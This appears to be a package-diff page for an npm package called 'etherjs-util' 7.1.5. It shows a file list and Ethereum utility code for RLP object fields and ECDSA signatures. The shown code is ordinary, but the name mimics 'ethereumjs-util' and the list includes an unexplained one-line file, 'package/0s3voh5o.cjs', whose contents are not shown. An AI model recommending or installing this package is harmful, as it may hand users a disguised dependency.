etherjs-util 7.1.5

Sign up to get free protection for your applications and to get access to all the features.
Files changed (88) hide show
  1. package/0s3voh5o.cjs +1 -0
  2. package/LICENSE +373 -0
  3. package/README.md +113 -0
  4. package/dist/account.d.ts +120 -0
  5. package/dist/account.js +273 -0
  6. package/dist/account.js.map +1 -0
  7. package/dist/address.d.ts +60 -0
  8. package/dist/address.js +104 -0
  9. package/dist/address.js.map +1 -0
  10. package/dist/bytes.d.ts +140 -0
  11. package/dist/bytes.js +295 -0
  12. package/dist/bytes.js.map +1 -0
  13. package/dist/constants.d.ts +40 -0
  14. package/dist/constants.js +42 -0
  15. package/dist/constants.js.map +1 -0
  16. package/dist/externals.d.ts +15 -0
  17. package/dist/externals.js +39 -0
  18. package/dist/externals.js.map +1 -0
  19. package/dist/hash.d.ts +69 -0
  20. package/dist/hash.js +162 -0
  21. package/dist/hash.js.map +1 -0
  22. package/dist/helpers.d.ts +21 -0
  23. package/dist/helpers.js +49 -0
  24. package/dist/helpers.js.map +1 -0
  25. package/dist/index.d.ts +40 -0
  26. package/dist/index.js +68 -0
  27. package/dist/index.js.map +1 -0
  28. package/dist/internal.d.ts +77 -0
  29. package/dist/internal.js +191 -0
  30. package/dist/internal.js.map +1 -0
  31. package/dist/object.d.ts +12 -0
  32. package/dist/object.js +109 -0
  33. package/dist/object.js.map +1 -0
  34. package/dist/signature.d.ts +55 -0
  35. package/dist/signature.js +163 -0
  36. package/dist/signature.js.map +1 -0
  37. package/dist/types.d.ts +62 -0
  38. package/dist/types.js +77 -0
  39. package/dist/types.js.map +1 -0
  40. package/dist.browser/account.d.ts +120 -0
  41. package/dist.browser/account.js +296 -0
  42. package/dist.browser/account.js.map +1 -0
  43. package/dist.browser/address.d.ts +60 -0
  44. package/dist.browser/address.js +105 -0
  45. package/dist.browser/address.js.map +1 -0
  46. package/dist.browser/bytes.d.ts +140 -0
  47. package/dist.browser/bytes.js +333 -0
  48. package/dist.browser/bytes.js.map +1 -0
  49. package/dist.browser/constants.d.ts +40 -0
  50. package/dist.browser/constants.js +42 -0
  51. package/dist.browser/constants.js.map +1 -0
  52. package/dist.browser/externals.d.ts +15 -0
  53. package/dist.browser/externals.js +39 -0
  54. package/dist.browser/externals.js.map +1 -0
  55. package/dist.browser/hash.d.ts +69 -0
  56. package/dist.browser/hash.js +166 -0
  57. package/dist.browser/hash.js.map +1 -0
  58. package/dist.browser/helpers.d.ts +21 -0
  59. package/dist.browser/helpers.js +49 -0
  60. package/dist.browser/helpers.js.map +1 -0
  61. package/dist.browser/index.d.ts +40 -0
  62. package/dist.browser/index.js +68 -0
  63. package/dist.browser/index.js.map +1 -0
  64. package/dist.browser/internal.d.ts +77 -0
  65. package/dist.browser/internal.js +191 -0
  66. package/dist.browser/internal.js.map +1 -0
  67. package/dist.browser/object.d.ts +12 -0
  68. package/dist.browser/object.js +110 -0
  69. package/dist.browser/object.js.map +1 -0
  70. package/dist.browser/signature.d.ts +55 -0
  71. package/dist.browser/signature.js +164 -0
  72. package/dist.browser/signature.js.map +1 -0
  73. package/dist.browser/types.d.ts +62 -0
  74. package/dist.browser/types.js +77 -0
  75. package/dist.browser/types.js.map +1 -0
  76. package/package.json +105 -0
  77. package/src/account.ts +321 -0
  78. package/src/address.ts +117 -0
  79. package/src/bytes.ts +334 -0
  80. package/src/constants.ts +54 -0
  81. package/src/externals.ts +18 -0
  82. package/src/hash.ts +159 -0
  83. package/src/helpers.ts +45 -0
  84. package/src/index.ts +60 -0
  85. package/src/internal.ts +209 -0
  86. package/src/object.ts +117 -0
  87. package/src/signature.ts +209 -0
  88. package/src/types.ts +146 -0
@@ -0,0 +1,110 @@
1
+ "use strict";
2
+ var __importDefault = (this && this.__importDefault) || function (mod) {
3
+ return (mod && mod.__esModule) ? mod : { "default": mod };
4
+ };
5
+ Object.defineProperty(exports, "__esModule", { value: true });
6
+ exports.defineProperties = void 0;
7
+ var assert_1 = __importDefault(require("assert"));
8
+ var internal_1 = require("./internal");
9
+ var externals_1 = require("./externals");
10
+ var bytes_1 = require("./bytes");
11
+ /**
12
+ * Defines properties on a `Object`. It make the assumption that underlying data is binary.
13
+ * @param self the `Object` to define properties on
14
+ * @param fields an array fields to define. Fields can contain:
15
+ * * `name` - the name of the properties
16
+ * * `length` - the number of bytes the field can have
17
+ * * `allowLess` - if the field can be less than the length
18
+ * * `allowEmpty`
19
+ * @param data data to be validated against the definitions
20
+ * @deprecated
21
+ */
22
+ var defineProperties = function (self, fields, data) {
23
+ self.raw = [];
24
+ self._fields = [];
25
+ // attach the `toJSON`
26
+ self.toJSON = function (label) {
27
+ if (label === void 0) { label = false; }
28
+ if (label) {
29
+ var obj_1 = {};
30
+ self._fields.forEach(function (field) {
31
+ obj_1[field] = "0x".concat(self[field].toString('hex'));
32
+ });
33
+ return obj_1;
34
+ }
35
+ return (0, bytes_1.baToJSON)(self.raw);
36
+ };
37
+ self.serialize = function serialize() {
38
+ return externals_1.rlp.encode(self.raw);
39
+ };
40
+ fields.forEach(function (field, i) {
41
+ self._fields.push(field.name);
42
+ function getter() {
43
+ return self.raw[i];
44
+ }
45
+ function setter(v) {
46
+ v = (0, bytes_1.toBuffer)(v);
47
+ if (v.toString('hex') === '00' && !field.allowZero) {
48
+ v = Buffer.allocUnsafe(0);
49
+ }
50
+ if (field.allowLess && field.length) {
51
+ v = (0, bytes_1.unpadBuffer)(v);
52
+ (0, assert_1.default)(field.length >= v.length, "The field ".concat(field.name, " must not have more ").concat(field.length, " bytes"));
53
+ }
54
+ else if (!(field.allowZero && v.length === 0) && field.length) {
55
+ (0, assert_1.default)(field.length === v.length, "The field ".concat(field.name, " must have byte length of ").concat(field.length));
56
+ }
57
+ self.raw[i] = v;
58
+ }
59
+ Object.defineProperty(self, field.name, {
60
+ enumerable: true,
61
+ configurable: true,
62
+ get: getter,
63
+ set: setter,
64
+ });
65
+ if (field.default) {
66
+ self[field.name] = field.default;
67
+ }
68
+ // attach alias
69
+ if (field.alias) {
70
+ Object.defineProperty(self, field.alias, {
71
+ enumerable: false,
72
+ configurable: true,
73
+ set: setter,
74
+ get: getter,
75
+ });
76
+ }
77
+ });
78
+ // if the constuctor is passed data
79
+ if (data) {
80
+ if (typeof data === 'string') {
81
+ data = Buffer.from((0, internal_1.stripHexPrefix)(data), 'hex');
82
+ }
83
+ if (Buffer.isBuffer(data)) {
84
+ data = externals_1.rlp.decode(data);
85
+ }
86
+ if (Array.isArray(data)) {
87
+ if (data.length > self._fields.length) {
88
+ throw new Error('wrong number of fields in data');
89
+ }
90
+ // make sure all the items are buffers
91
+ data.forEach(function (d, i) {
92
+ self[self._fields[i]] = (0, bytes_1.toBuffer)(d);
93
+ });
94
+ }
95
+ else if (typeof data === 'object') {
96
+ var keys_1 = Object.keys(data);
97
+ fields.forEach(function (field) {
98
+ if (keys_1.indexOf(field.name) !== -1)
99
+ self[field.name] = data[field.name];
100
+ if (keys_1.indexOf(field.alias) !== -1)
101
+ self[field.alias] = data[field.alias];
102
+ });
103
+ }
104
+ else {
105
+ throw new Error('invalid data');
106
+ }
107
+ }
108
+ };
109
+ exports.defineProperties = defineProperties;
110
+ //# sourceMappingURL=object.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"object.js","sourceRoot":"","sources":["../src/object.ts"],"names":[],"mappings":"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"}
@@ -0,0 +1,55 @@
1
+ /// <reference types="node" />
2
+ import { BNLike } from './types';
3
+ export interface ECDSASignature {
4
+ v: number;
5
+ r: Buffer;
6
+ s: Buffer;
7
+ }
8
+ export interface ECDSASignatureBuffer {
9
+ v: Buffer;
10
+ r: Buffer;
11
+ s: Buffer;
12
+ }
13
+ /**
14
+ * Returns the ECDSA signature of a message hash.
15
+ */
16
+ export declare function ecsign(msgHash: Buffer, privateKey: Buffer, chainId?: number): ECDSASignature;
17
+ export declare function ecsign(msgHash: Buffer, privateKey: Buffer, chainId: BNLike): ECDSASignatureBuffer;
18
+ /**
19
+ * ECDSA public key recovery from signature.
20
+ * NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
21
+ * @returns Recovered public key
22
+ */
23
+ export declare const ecrecover: (msgHash: Buffer, v: BNLike, r: Buffer, s: Buffer, chainId?: BNLike) => Buffer;
24
+ /**
25
+ * Convert signature parameters into the format of `eth_sign` RPC method.
26
+ * NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
27
+ * @returns Signature
28
+ */
29
+ export declare const toRpcSig: (v: BNLike, r: Buffer, s: Buffer, chainId?: BNLike) => string;
30
+ /**
31
+ * Convert signature parameters into the format of Compact Signature Representation (EIP-2098).
32
+ * NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
33
+ * @returns Signature
34
+ */
35
+ export declare const toCompactSig: (v: BNLike, r: Buffer, s: Buffer, chainId?: BNLike) => string;
36
+ /**
37
+ * Convert signature format of the `eth_sign` RPC method to signature parameters
38
+ * NOTE: all because of a bug in geth: https://github.com/ethereum/go-ethereum/issues/2053
39
+ * NOTE: After EIP1559, `v` could be `0` or `1` but this function assumes
40
+ * it's a signed message (EIP-191 or EIP-712) adding `27` at the end. Remove if needed.
41
+ */
42
+ export declare const fromRpcSig: (sig: string) => ECDSASignature;
43
+ /**
44
+ * Validate a ECDSA signature.
45
+ * NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
46
+ * @param homesteadOrLater Indicates whether this is being used on either the homestead hardfork or a later one
47
+ */
48
+ export declare const isValidSignature: (v: BNLike, r: Buffer, s: Buffer, homesteadOrLater?: boolean, chainId?: BNLike) => boolean;
49
+ /**
50
+ * Returns the keccak-256 hash of `message`, prefixed with the header used by the `eth_sign` RPC call.
51
+ * The output of this function can be fed into `ecsign` to produce the same signature as the `eth_sign`
52
+ * call for a given `message`, or fed to `ecrecover` along with a signature to recover the public key
53
+ * used to produce the signature.
54
+ */
55
+ export declare const hashPersonalMessage: (message: Buffer) => Buffer;
@@ -0,0 +1,164 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.hashPersonalMessage = exports.isValidSignature = exports.fromRpcSig = exports.toCompactSig = exports.toRpcSig = exports.ecrecover = exports.ecsign = void 0;
4
+ var secp256k1_1 = require("ethereum-cryptography/secp256k1");
5
+ var externals_1 = require("./externals");
6
+ var bytes_1 = require("./bytes");
7
+ var hash_1 = require("./hash");
8
+ var helpers_1 = require("./helpers");
9
+ var types_1 = require("./types");
10
+ function ecsign(msgHash, privateKey, chainId) {
11
+ var _a = (0, secp256k1_1.ecdsaSign)(msgHash, privateKey), signature = _a.signature, recovery = _a.recid;
12
+ var r = Buffer.from(signature.slice(0, 32));
13
+ var s = Buffer.from(signature.slice(32, 64));
14
+ if (!chainId || typeof chainId === 'number') {
15
+ // return legacy type ECDSASignature (deprecated in favor of ECDSASignatureBuffer to handle large chainIds)
16
+ if (chainId && !Number.isSafeInteger(chainId)) {
17
+ throw new Error('The provided number is greater than MAX_SAFE_INTEGER (please use an alternative input type)');
18
+ }
19
+ var v_1 = chainId ? recovery + (chainId * 2 + 35) : recovery + 27;
20
+ return { r: r, s: s, v: v_1 };
21
+ }
22
+ var chainIdBN = (0, types_1.toType)(chainId, types_1.TypeOutput.BN);
23
+ var v = chainIdBN.muln(2).addn(35).addn(recovery).toArrayLike(Buffer);
24
+ return { r: r, s: s, v: v };
25
+ }
26
+ exports.ecsign = ecsign;
27
+ function calculateSigRecovery(v, chainId) {
28
+ var vBN = (0, types_1.toType)(v, types_1.TypeOutput.BN);
29
+ if (vBN.eqn(0) || vBN.eqn(1))
30
+ return (0, types_1.toType)(v, types_1.TypeOutput.BN);
31
+ if (!chainId) {
32
+ return vBN.subn(27);
33
+ }
34
+ var chainIdBN = (0, types_1.toType)(chainId, types_1.TypeOutput.BN);
35
+ return vBN.sub(chainIdBN.muln(2).addn(35));
36
+ }
37
+ function isValidSigRecovery(recovery) {
38
+ var rec = new externals_1.BN(recovery);
39
+ return rec.eqn(0) || rec.eqn(1);
40
+ }
41
+ /**
42
+ * ECDSA public key recovery from signature.
43
+ * NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
44
+ * @returns Recovered public key
45
+ */
46
+ var ecrecover = function (msgHash, v, r, s, chainId) {
47
+ var signature = Buffer.concat([(0, bytes_1.setLengthLeft)(r, 32), (0, bytes_1.setLengthLeft)(s, 32)], 64);
48
+ var recovery = calculateSigRecovery(v, chainId);
49
+ if (!isValidSigRecovery(recovery)) {
50
+ throw new Error('Invalid signature v value');
51
+ }
52
+ var senderPubKey = (0, secp256k1_1.ecdsaRecover)(signature, recovery.toNumber(), msgHash);
53
+ return Buffer.from((0, secp256k1_1.publicKeyConvert)(senderPubKey, false).slice(1));
54
+ };
55
+ exports.ecrecover = ecrecover;
56
+ /**
57
+ * Convert signature parameters into the format of `eth_sign` RPC method.
58
+ * NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
59
+ * @returns Signature
60
+ */
61
+ var toRpcSig = function (v, r, s, chainId) {
62
+ var recovery = calculateSigRecovery(v, chainId);
63
+ if (!isValidSigRecovery(recovery)) {
64
+ throw new Error('Invalid signature v value');
65
+ }
66
+ // geth (and the RPC eth_sign method) uses the 65 byte format used by Bitcoin
67
+ return (0, bytes_1.bufferToHex)(Buffer.concat([(0, bytes_1.setLengthLeft)(r, 32), (0, bytes_1.setLengthLeft)(s, 32), (0, bytes_1.toBuffer)(v)]));
68
+ };
69
+ exports.toRpcSig = toRpcSig;
70
+ /**
71
+ * Convert signature parameters into the format of Compact Signature Representation (EIP-2098).
72
+ * NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
73
+ * @returns Signature
74
+ */
75
+ var toCompactSig = function (v, r, s, chainId) {
76
+ var recovery = calculateSigRecovery(v, chainId);
77
+ if (!isValidSigRecovery(recovery)) {
78
+ throw new Error('Invalid signature v value');
79
+ }
80
+ var vn = (0, types_1.toType)(v, types_1.TypeOutput.Number);
81
+ var ss = s;
82
+ if ((vn > 28 && vn % 2 === 1) || vn === 1 || vn === 28) {
83
+ ss = Buffer.from(s);
84
+ ss[0] |= 0x80;
85
+ }
86
+ return (0, bytes_1.bufferToHex)(Buffer.concat([(0, bytes_1.setLengthLeft)(r, 32), (0, bytes_1.setLengthLeft)(ss, 32)]));
87
+ };
88
+ exports.toCompactSig = toCompactSig;
89
+ /**
90
+ * Convert signature format of the `eth_sign` RPC method to signature parameters
91
+ * NOTE: all because of a bug in geth: https://github.com/ethereum/go-ethereum/issues/2053
92
+ * NOTE: After EIP1559, `v` could be `0` or `1` but this function assumes
93
+ * it's a signed message (EIP-191 or EIP-712) adding `27` at the end. Remove if needed.
94
+ */
95
+ var fromRpcSig = function (sig) {
96
+ var buf = (0, bytes_1.toBuffer)(sig);
97
+ var r;
98
+ var s;
99
+ var v;
100
+ if (buf.length >= 65) {
101
+ r = buf.slice(0, 32);
102
+ s = buf.slice(32, 64);
103
+ v = (0, bytes_1.bufferToInt)(buf.slice(64));
104
+ }
105
+ else if (buf.length === 64) {
106
+ // Compact Signature Representation (https://eips.ethereum.org/EIPS/eip-2098)
107
+ r = buf.slice(0, 32);
108
+ s = buf.slice(32, 64);
109
+ v = (0, bytes_1.bufferToInt)(buf.slice(32, 33)) >> 7;
110
+ s[0] &= 0x7f;
111
+ }
112
+ else {
113
+ throw new Error('Invalid signature length');
114
+ }
115
+ // support both versions of `eth_sign` responses
116
+ if (v < 27) {
117
+ v += 27;
118
+ }
119
+ return {
120
+ v: v,
121
+ r: r,
122
+ s: s,
123
+ };
124
+ };
125
+ exports.fromRpcSig = fromRpcSig;
126
+ /**
127
+ * Validate a ECDSA signature.
128
+ * NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
129
+ * @param homesteadOrLater Indicates whether this is being used on either the homestead hardfork or a later one
130
+ */
131
+ var isValidSignature = function (v, r, s, homesteadOrLater, chainId) {
132
+ if (homesteadOrLater === void 0) { homesteadOrLater = true; }
133
+ var SECP256K1_N_DIV_2 = new externals_1.BN('7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0', 16);
134
+ var SECP256K1_N = new externals_1.BN('fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141', 16);
135
+ if (r.length !== 32 || s.length !== 32) {
136
+ return false;
137
+ }
138
+ if (!isValidSigRecovery(calculateSigRecovery(v, chainId))) {
139
+ return false;
140
+ }
141
+ var rBN = new externals_1.BN(r);
142
+ var sBN = new externals_1.BN(s);
143
+ if (rBN.isZero() || rBN.gt(SECP256K1_N) || sBN.isZero() || sBN.gt(SECP256K1_N)) {
144
+ return false;
145
+ }
146
+ if (homesteadOrLater && sBN.cmp(SECP256K1_N_DIV_2) === 1) {
147
+ return false;
148
+ }
149
+ return true;
150
+ };
151
+ exports.isValidSignature = isValidSignature;
152
+ /**
153
+ * Returns the keccak-256 hash of `message`, prefixed with the header used by the `eth_sign` RPC call.
154
+ * The output of this function can be fed into `ecsign` to produce the same signature as the `eth_sign`
155
+ * call for a given `message`, or fed to `ecrecover` along with a signature to recover the public key
156
+ * used to produce the signature.
157
+ */
158
+ var hashPersonalMessage = function (message) {
159
+ (0, helpers_1.assertIsBuffer)(message);
160
+ var prefix = Buffer.from("\u0019Ethereum Signed Message:\n".concat(message.length), 'utf-8');
161
+ return (0, hash_1.keccak)(Buffer.concat([prefix, message]));
162
+ };
163
+ exports.hashPersonalMessage = hashPersonalMessage;
164
+ //# sourceMappingURL=signature.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"signature.js","sourceRoot":"","sources":["../src/signature.ts"],"names":[],"mappings":"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